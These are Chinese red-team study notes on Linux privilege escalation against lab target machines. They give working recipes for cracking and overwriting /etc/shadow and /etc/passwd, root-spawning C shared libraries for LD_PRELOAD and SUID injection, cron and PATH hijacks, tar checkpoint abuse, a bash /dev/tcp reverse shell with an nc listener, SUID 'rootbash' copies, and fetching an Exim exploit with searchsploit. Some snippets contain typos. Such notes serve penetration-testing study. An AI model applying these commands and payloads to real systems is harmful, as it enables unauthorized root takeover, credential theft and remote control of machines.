整理内容来源于红队笔记
linux可读shadow利用
ls -liah /etc/shadow查看/etc/shadow信息
这是在Linux系统中使用ls命令查看/etc/shadow文件的详细信息,包括文件权限、所有者、大小、创建日期等。
具体来说,这个命令使用了以下参数:
- -l:指示ls命令输出详细信息,包括文件权限、所有者、大小、创建日期等。
- -i:指示ls命令输出文件的inode号码。
- -a:指示ls命令输出所有文件,包括隐藏文件。
- -h:指示ls命令以人类可读的方式输出文件大小。
cat /etc/shadow 查看/etc/shadow内容
查看后可以尝试爆破root用户的hash
hash爆破
cat /etc/shadow | grep “:/$” > hash.txt
然后传入kali本地用john爆破hash
john wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
linux可写shadow利用
mkpasswd -m sha-512 [passwd] 生成hash值
vim /etc/shadow
把root的hash值修改成生成的hash
这样就可以利用我们设置的密码登录root了
linux可写passwd利用
openssl passwd [passwd] 生成hash值也可以用上面的mkpasswd生成
vim /etc/passwd
把root的密码改成hash就可以登录root用户了
Linux提权sudo环境变量提权
前提:
1.sudo环境变量具有env_keep +=LD_PRELOAD或者类似把预加载共享库加载到环境变量
2.具有可以不用root就能使用root权限执行的命令
提权逻辑:
在自定义的共享库调用root身份的bash,但是一般权限的共享库没法调用root权限bash,如果有普通用户就可以使用root权限执行的命令加载这个共享库,那么就可以在共享库初始时执行root权限的bash。
相当于共享库借用权限执行bash
编写共享库:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
//共享库初始化函数,在共享库时就会调用
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles 编译共享库
解释:
这是在Linux系统中使用gcc编译器编译一个名为shell.so的共享库文件shell.c,并输出结果到shell.so文件中。
具体来说,这个命令使用了以下参数:
- -fPIC:指示gcc编译器生成位置无关的代码,以便共享库可以在不同的内存位置加载。
- -shared:指示gcc编译器生成一个共享库文件。
- -o:指定输出文件的名称为shell.so。
- -nostartfiles:指示gcc编译器不使用标准的启动文件,以便生成一个更小的共享库文件。
shell.c是一个C语言源代码文件,它包含一个名为shell的函数。这个函数会在共享库加载时自动执行,并调用system函数来执行一个shell命令。
通过编译这个共享库文件,我们可以将它加载到其他程序中,以便在运行时执行shell命令。需要注意的是,这个共享库文件可以被滥用,因为它可以让任何程序以超级用户权限执行任意的shell命令,因此应该谨慎使用。
提权:
sudo LD_PRELOAD=[共享库路径] find
整个过程中相当于共享库借用find的root权限执行了bash
Linux自动任务文件权限提权
原理:
利用自动任务中root权限执行的bash带有root权限
发现利用点:
cat /etc/crontab #查看计划任务列表
这个命令会显示Linux系统中的计划任务列表,其中包括系统级别的计划任务。
在Linux系统中,计划任务是一种自动化执行特定任务的机制。这些任务可以是系统级别的,也可以是用户级别的。系统级别的计划任务通常由管理员创建,可以在系统启动时或定期执行。用户级别的计划任务则由用户自己创建,可以在用户登录时或定期执行。
/etc/crontab是一个系统级别的计划任务配置文件,它包含了系统级别的计划任务列表。这个文件的格式比较特殊,它包含了一些字段来指定任务的执行时间和命令。
使用cat命令可以显示这个文件的内容。如果您有足够的权限,可以尝试执行这个命令来查看系统中的计划任务列表。
locate [filename.*] #这个命令会在Linux系统中查找包含指定文件名的文件,并返回它们的路径。
ls -liah [path]也可以使用ll [path]
发现该文件其他用户有写权限
这样就可以尝试在该文件中写入反弹shell,当他执行自动任务时就会执行反弹shell与攻击机建立连接
利用反弹shell获得root
先在攻击机上设置监听
sudo nc -lvnp [port]
这个命令使用了nc
(netcat)工具来监听指定的端口,并将接收到的数据打印到标准输出。-l
选项表示监听模式,-v
选项表示详细输出,-n
选项表示禁用DNS解析,-p
选项后面跟着要监听的端口号。
需要注意的是,sudo
命令用于以超级用户权限来执行nc
命令。这可以确保您有足够的权限来监听低于1024的特权端口。请确保在使用此命令之前了解所需的安全措施,并确保只在受信任的环境中使用。
此命令将在终端上启动nc
工具并开始监听指定端口。当有数据发送到该端口时,nc
将把接收到的数据打印到终端上。这对于调试网络连接或接收远程主机发送的数据非常有用。
注:因为这里可修改文件时shell脚本所以写入shell脚本,如果是其他语言可以写入其他语言构造的反弹shell
bash -i >& /dev/tcp/ip/port 1>&0
命令是一个典型的反向 shell 命令,它用于建立与指定 IP 地址和端口的远程主机之间的反向 shell 连接。
这个命令的含义是,将 Bash 的输入和输出重定向到指定的 IP 地址和端口上的网络套接字。通过这种方式,它可以与远程主机建立连接,并将本地的标准输入和输出与远程主机的 shell 关联起来,从而实现远程控制。
这样当自动任务执行时就可以接收到反弹shell了,而且是root权限
完整过程:
自动任务path提权
原理:
提权原理于前面自动任务提权相同都是借用自动任务的root权限执行bash,不同的是执行bash的操作[手法]。由于在创建自动任务时 待执行文件 添加的是相对路径在解析时就会依据path中的环境变量依次在环境变量中查找,如果部分环境变量中的内容是可控的,且可以先解析到,就可以在该目录下创建同名文件,让其提前执行同名自动任务文件,这个同名的自动任务文件就是我们写的shell脚本。
前提:
1.crontab环境变量目录可控
2.待覆盖的原自动任务的环境变量在path中的位置于可控环境变量之后
编写shell脚本:
!# /bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
这个命令是一个简单的 shell 脚本,它的作用是将系统中的 Bash shell 复制到/tmp
目录下,并将其设置为 SUID 标志和可执行权限。
这个脚本的第一行!# /bin/bash
实际上应该是#!/bin/bash
,是一个 shebang(也称为 hashbang),用于指定脚本的解释器。
接下来的两行命令分别执行了以下操作:
- 将系统中的
/bin/bash
复制到/tmp
目录下,命名为rootbash
。 - 将
/tmp/rootbash
文件设置为 SUID 标志和可执行权限。
这将使任何用户都可以以 root 用户的身份执行/tmp/rootbash
文件,从而获得 root 权限。
并使用chmod +x [filename.sh] 给自动任务脚本执行权限
等待自动任务执行后将会获得权限,自动任务执行时间要看自动任务设置时的等待时间
注:上述的path是crontab下自定义的path,不是用户的path
提权的关键在于,如何执行shell脚本,以及shell脚本的编写
Linux自动任务tar自动备份提权
场景:在生产场景中管理员通常会设置自动任务用tar实现备份,但是tar有有个不安全的选项,可以对备份文件设置断点,另一个选项是遇到到断点时执行自定义的命令。
原理:还是相同利用自动任务的root权限执行bash
利用思路:
cat /etc/crontab 先查看有无类似自动备份设置
可见该自动任务是对/home/user目录下所有内容进行备份
查看tar命令使用可以看到有个可以设置断点的选项,以及遇到断点进行自定义操作的选项
这样就可以创建一个文件,并且设置断点,该断点执行的任务是执行一个反弹shell,由于该反弹shell是有root权限执行的,攻击机拿到shell就是一个具有root权限的shell
用msf生成一个反弹shell上传到/home/user目录下,这里是shell.elf
然后创建–checkpoint文件和checkpoint-action文件,并定义action=exec=shell.elf,执行当前目录下的shell.elf
这样当进行备份的时候就会执行该反弹shell,我们在攻击机中就能拿到root
关键在于tar这样 可以利用来执行命令的命令,以及执行的操作是可控的,tar只是一个例子。
suid提权
原理:一切利用suid提权都是借用suid权限打开bash
利用msf对已知漏洞提权—以Exim提权漏洞为例
信息搜集
find / -perm -u=s –type f 2>/dev/null #find查找具有suid的文件
当linpeas跑出敏感项,或者在信息搜集过程中发现敏感项,如Exim文件
searchspoit exim # 用msf搜索可用exp
searchsploit exim -m 39535.sh # 下载exp
cat 39535.sh # 查看用法
根据用法上传到靶机本地执行即可
常用suid,guid提权命令利用网站
通过find -prem -u=s -o -g=s –type f 2> /dev/null 可以找到具有suid和guid的文件,在从中找到可以执行的文件,这样就可以利用suid或guid实现提权,提权的方法在下面这个网址中给出,例如 find,less等的提权利用
suid共享库注入提取
find / -perm -u=s –type f 2>/dev/null
这是一个具有suid权限的文件,根据名字猜到可能会与共享库有关(shared object)
strings /usr/local/bin/suid-so 查看该文件内容
发现该库可能调用了/home/user/.config/libcal.so库
strace /usr/local/bin/suid-so |grep “home” # 对该文件进行调试运行
根据调试信息,发现尝试打开/home/user/.config/libcalc.co文件,但是没有这个文件
这样我们就可以创建一个该名的共享库写入shell,当执行到共享库的时候就可以拿到root权限了
共享库写入shell
#include <stdio.h>
#include <stdlib.h>
stactic void inject() __attribute__((constructor));
void inject(){
setgid(0);
setuid(0);
system("/bin/bash -p");
}
解释:
代码是用C语言编写的,其中包含了一个名为inject()
的函数,该函数使用__attribute__((constructor))
属性,意味着它将在main()
函数之前自动执行。
inject()
函数包含了三个语句:
setgid(0);
将组ID设置为0,通常是超级用户(root)的组ID。setuid(0);
将用户ID设置为0,通常也是超级用户(root)的用户ID。system("/bin/bash -p");
执行/bin/bash -p
命令,该命令以提升的权限启动一个交互式shell。
这段代码是升权限并执行一个具有高权限的交互式shell。
gcc -shared -fPIC -o libcalc.so libcal.c # 编译成为共享库
运行/usr/local/bin/suid-so就可以拿到root权限了
suid环境变量利用提权
原理:借用suid权限拿到root权限,利用环境可修改环境变量,添加可控路径,在可控路径上写入同名的可执行文件,利用suid的权限在该可执行文件中执行bash就可获得具有root的bash(相当于利用PATH解析的优先级先执行提权程序)
这里通过service打开apache2而且该文件具有suid
构建提权脚本
#include <stdio.h>
#include <stdlib.h>
void main(){
setgid(0);
setuid(0);
system("/bin/bash -p");
}
gcc -o service service.c # 编译成可执行文件并输出到当前文件夹下
export PATH=.:$PATH #把当前路径添加到环境变量中而且优先级在所有path之前
巧用suid#1—bash路径函数
原理:当bash版本低于4.2,可以创建一个以/开头的函数
可用看到这里以绝对路径调用了service程序,而且bash版本号低于4.2,可以创建一个提权函数名为“/usr/sbin/service”,然后添加到环境变量中,让程序错误以为我们写的提权函数就是待执行的文件
实现:
function /usr/sbin/service { /bin/bash -p;} # 提权函数
bash -f /usr/sbin/service # 将函数添加到环境变量
执行/usr/local/bin/suid-env2,这个可执行程序原本想调用/usr/sbin/service 服务但是由于我们把同名函数添加到环境变量,该程序就会先解析path然后再解析绝对路径,这样就提前执行了提权函数
巧用suid#2—bash调试加料
原理:在bash版本低于4.4时可以在运行可执行文件时进行调试,而且可以在调试时执行命令
env -i -SHELLOPT=xtrace -PS4=”$(cp /bin/bash /tmp/rootbash;chmod +sx /tmp/rootbash)” /usr/local/bin/suid-env2
这是一个命令行的输入,其中使用了env
命令来设置环境变量,并执行了一个名为suid-env2
的可执行文件。
在这个命令中,-i
选项告诉env
命令在执行命令时不使用当前环境变量,-SHELLOPT=xtrace
选项用于启用命令的跟踪输出,-PS4
选项用于设置跟踪输出的前缀。
根据命令的输出,可以看到跟踪输出的前缀被设置为$(cp /bin/bash /tmp/rootbash;chmod +sx /tmp/rootbash)
,这个命令的作用是将/bin/bash
复制到/tmp/rootbash
,并为其设置可执行权限。
这样具有suid的bash就被复制到了/tmp目录下而且这个bash是可执行的执行这个bash就能获得root权限
通过信息搜集获得密码密钥提权
密码:
history # 查找bash执行历史记录
cat /user/.bash_history # 查看bash历史命令
或者一些配置文件中会记录用户名密码
密钥利用:
在信息搜集过程中一定要注意ssh相关配置文件可能会出现密钥泄露的情况
vim id_rsa # 复制到kali中创建密钥文件
chmod 600 id_rsa # 赋予600的权限
sudo ssh -i id_rsa root@10.10.10.127 # 用私钥ssh远程连接靶机
根据报错提示不匹配主机算法类型所以在连接是要指定本地算法类型和登录主机算法类型
写的不错,花园宝宝
开玩笑